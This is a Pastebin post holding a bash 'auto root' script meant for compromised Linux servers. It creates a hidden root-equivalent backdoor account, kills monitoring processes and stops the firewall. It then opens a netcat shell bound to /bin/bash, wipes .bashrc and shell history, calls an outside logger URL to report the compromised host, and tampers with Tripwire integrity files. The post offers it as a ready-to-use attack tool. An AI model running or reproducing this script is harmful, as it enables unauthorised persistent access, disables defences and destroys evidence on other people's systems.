KhaosBringer

[Bash] Auto Root

May 24th, 2018
822
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.34 KB | None | 0 0
  1. #!/bin/bash
  2. # This is a auto root script, helps add users kills daemons and a few other useful things!
  3. # Want to have the server get logged on execution? Edit the 'Logger' link!
  4. # -- Edit? -- #
  5. LOGGER="http://blasze.tk/EXAMPLE"
  6.  
  7. # -- Don't Touch -- #
  8. uname=`uname -n`
  9. twd=/var/lib/tripwire/$uname.twd
  10. ip=`ifconfig eth0 2>/dev/null|awk '/inet addr:/ {print $2}'|sed 's/addr://'`
  11.  
  12. # -- Colors -- #
  13. RED='\033[0;31m'
  14. CYAN='\033[0;36m'
  15. LG='\033[0;37m'
  16. NO='\033[0m'
  17. GR='\033[1;32m'
  18.  
  19. # -- Banner --#
  20. echo '''
  21. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  22. ____ ____ ____ ____ ____ ____
  23. ||J |||I |||H |||A |||D |||I ||
  24. ||__|||__|||__|||__|||__|||__||
  25. |/__\|/__\|/__\|/__\|/__\|/__\|
  26.  
  27.  
  28. Developed by: @Jihadi4Potus
  29. Twitter: https://twitter.com/Jihadi4Potus
  30. Website: http://leakedfiles.org
  31. Version: v1.1 | Updated 7/13/17
  32. [+ Syntax sh $0 [USERNAME] [PASSWORD] +]
  33.  
  34. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  35. '''
  36.  
  37. # -- Setting User/Pass -- #
  38. if [ $# != 2 ]; then
  39.     echo "${LG}[${RED}!${LG}] ${RED}Invalid Arguments.${NO}"
  40.     exit 0
  41. fi
  42.  
  43. # -- Checks if Root -- #
  44. if ! [ $(id -u) = 0 ]; then
  45.    echo "${LG}[${RED}!${LG}] ${RED}Requires Root, please try agin with root!${NO}"
  46.    exit 1
  47. fi
  48. useradd -o -u 0 -g 0 -M -d /root -s /bin/bash $1
  49. passwd $1
  50.  
  51. # -- Stopping Security/Daemons -- #
  52.         echo "${RED}Stopping Services ...";
  53.         echo "${LG}Servce NSCD ${GR}Stopped!${NO}" && killall -9 -q nscd >/dev/null 2>&1 || echo "${LG}Servce NSCD ${RED}Failed!${NO}"; sleep 1
  54.         echo "${LG}Servce XNTPS ${GR}Stopped!${NO}" && killall -9 -q xntps >/dev/null 2>&1 || echo "${LG}Servce XNTPS ${RED}Failed!${NO}"; sleep 1
  55.         echo "${LG}Servce MOUNTD ${GR}Stopped!${NO}" && killall -9 -q mountd >/dev/null 2>&1 || echo "${LG}Servce MOUNTD ${RED}Failed!${NO}"; sleep 1
  56.         echo "${LG}Servce mserv ${GR}Stopped!${NO}" && killall -9 -q mserv >/dev/null 2>&1 || echo "${LG}Servce mserv ${RED}Failed!${NO}"; sleep 1
  57.         echo "${LG}Servce psybnc ${GR}Stopped!${NO}" && killall -9 -q psybnc >/dev/null 2>&1 || echo "${LG}Servce psybnc ${RED}Failed!${NO}"; sleep 1
  58.         echo "${LG}Servce t0rns ${GR}Stopped!${NO}" && killall -9 -q t0rns >/dev/null 2>&1 || echo "${LG}Servce t0rns ${RED}Failed!${NO}"; sleep 1
  59.         echo "${LG}Servce linsniffer ${GR}Stopped!${NO}" && killall -9 -q linsniffer >/dev/null 2>&1 || echo "${LG}Servce linsniffer ${RED}Failed!${NO}"; sleep 1
  60.         echo "${LG}Servce sniffer ${GR}Stopped!${NO}" && killall -9 -q sniffer >/dev/null 2>&1 || echo "${LG}Servce sniffer ${RED}Failed!${NO}"; sleep 1
  61.         echo "${LG}Servce lpsched ${GR}Stopped!${NO}" && killall -9 -q lpsched >/dev/null 2>&1 || echo "${LG}Servce lpsched ${RED}Failed!${NO}"; sleep 1
  62.         echo "${LG}Servce sniff ${GR}Stopped!${NO}" && killall -9 -q sniff >/dev/null 2>&1 || echo "${LG}Servce sniff ${RED}Failed!${NO}"; sleep 1
  63.         echo "${LG}Servce sn1f ${GR}Stopped!${NO}" && killall -9 -q sn1f >/dev/null 2>&1 || echo "${LG}Servce snif ${RED}Failed!${NO}"; sleep 1
  64.         echo "${LG}Servce xsf ${GR}Stopped!${NO}" && killall -9 -q xsf >/dev/null 2>&1 || echo "${LG}Servce xsf ${RED}Failed!${NO}"; sleep 1
  65.         echo "${LG}Servce xchk ${GR}Stopped!${NO}" && killall -9 -q xchk >/dev/null 2>&1  || echo "${LG}Servce xchk ${RED}Failed!${NO}"; sleep 1
  66.         serivce iptables stop
  67.         service fw stop
  68.  
  69. # -- Create Reverse Shell w/ Netcat -- #
  70. while true; do
  71.     read -p "Want to open a reverse shell? [Y/n] " answer2
  72.     read -p "Please enter your disired port: ~# " port
  73.     case $answer2 in
  74.         [Yy]* ) yum install screen nc -y >/dev/null 2>&1 || apt-get install screen netcat -y >/dev/null 2>&1; screen -dmSL asdf nc -lvp $port -c /bin/bash >/dev/null 2>&1 || screen -dmSL asdf nc -lvp $port} -e /bin/bash >/dev/null 2>&1; sleep 1; echo "${GR}Success! ${LG}Active Shell on: ${NO}[${RED}${ip}:$port${NO}]"; rm -fr ~/.bashrc >/dev/null 2>&1; history -c >/dev/null 2>&1; wget -q -O /tmp/... ${LOGGER}; break;;
  75.         [Nn]* ) echo "${LG}[${RED}!${LG}] ${RED}Exiting${NO}"; break;;
  76.         * ) echo "${LG}[${RED}!${LG}] ${RED}Invalid Arguments.${NO}";;
  77.     esac
  78. done
  79. sleep 2
  80.  
  81. # -- Detecting/Killing Tripwire -- #
  82. echo "${CYAN}*/ ${NO}Checking for ${GR}Tripwire ${NO}Process ${CYAN}*/${NO}"
  83. sleep 2
  84. if [ -d /etc/tripwire ]; then
  85.     echo "TripWire: ${GR}DETECTED"
  86.     chattr -isa $twd
  87. else
  88.     echo "TripWire: ${RED}Not Available!${NO}"
  89.    exit 1
  90. fi
Add Comment
Please, Sign In to add comment